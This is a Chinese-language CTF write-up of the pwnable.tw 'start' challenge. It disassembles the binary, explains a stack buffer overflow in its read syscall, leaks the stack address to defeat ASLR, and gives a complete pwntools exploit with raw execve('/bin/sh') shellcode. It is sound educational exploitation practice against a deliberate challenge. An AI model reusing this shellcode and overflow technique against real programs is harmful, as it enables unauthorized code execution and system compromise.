Pwnable.tw-start

2024-08-06

Pwnable.tw-start

Author: 堇姬Naup

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0x08048060 <+0>:	push   esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret

分析

先把eax、ebx、ecx、edx清空,再把Let’s start the CTF: push到stack上

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

1
2
3
4
5
mov     ecx, esp        ; addr
mov dl, 14h
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write

ecx -> ebp-0x14
edx -> 0x14長度
ebx -> 1 (fd 標準輸出)
eax -> 4 (write)

最後syscall 印出 Let’s start the CTF:

1
2
3
4
xor     ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX -

ebx -> 0 (fd 標準輸入)
edx -> 0x3c (輸入大小)
eax -> 3 (read)
ecx -> ebp-0x14
最後syscall這裡存在buffer overflow

這邊發現甚麼都沒開,直接寫shellcode

但須要跳回stack需要leak stack位置(ASLR),這邊發現一開始push了esp,如果我們可以partial overwrite到esp前面之後跳回syscall write,就可以leak了

1
2
3
4
5
6
7
aaaa
aaaa
aabb
bbbb
bbbb
ret address
esp addr

這樣就可以跳回write把esp address印出來,並且在輸入一次

1
2
3
4
5
payload = b'a'*0x14+p32(0x08048087)
r.sendafter(b'Let\'s start the CTF:',payload)

leak_esp = r.recv()[:4]
NAUPINFO('LEAK ESP',hex(u32(leak_esp)))

接著構造
b’a’ * 0x14 + leak esp+0x14(我們leak的esp是esp+0x4) + shellcode

1
2
3
4
5
6
7
aaaa
aaaa
aaaa
aaaa
aaaa
leak esp+0x14(esp+0x18) <- ret addr
shellcode

這樣就get shell

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from NAUP_pwn_lib import *

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
debug_init()
r=process('./start')
LOCAL_DEBUG=input("debug?(y/n):")
if LOCAL_DEBUG == "y":
gdb.attach(r)
else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10000")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

payload = b'a'*0x14+p32(0x08048087)
r.sendafter(b'Let\'s start the CTF:',payload)

leak_esp = u32(r.recv()[:4])
NAUPINFO('LEAK ESP',hex(leak_esp))

shellcode = b"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x31\xd2\x31\xc9\x31\xd2\x89\xe3\xb0\x0b\xcd\x80\x30\xc0\xfe\xc0\xcd\x80"

payload= b'a'*0x14 + p32(leak_esp+0x14)+shellcode

r.send(payload)

r.interactive()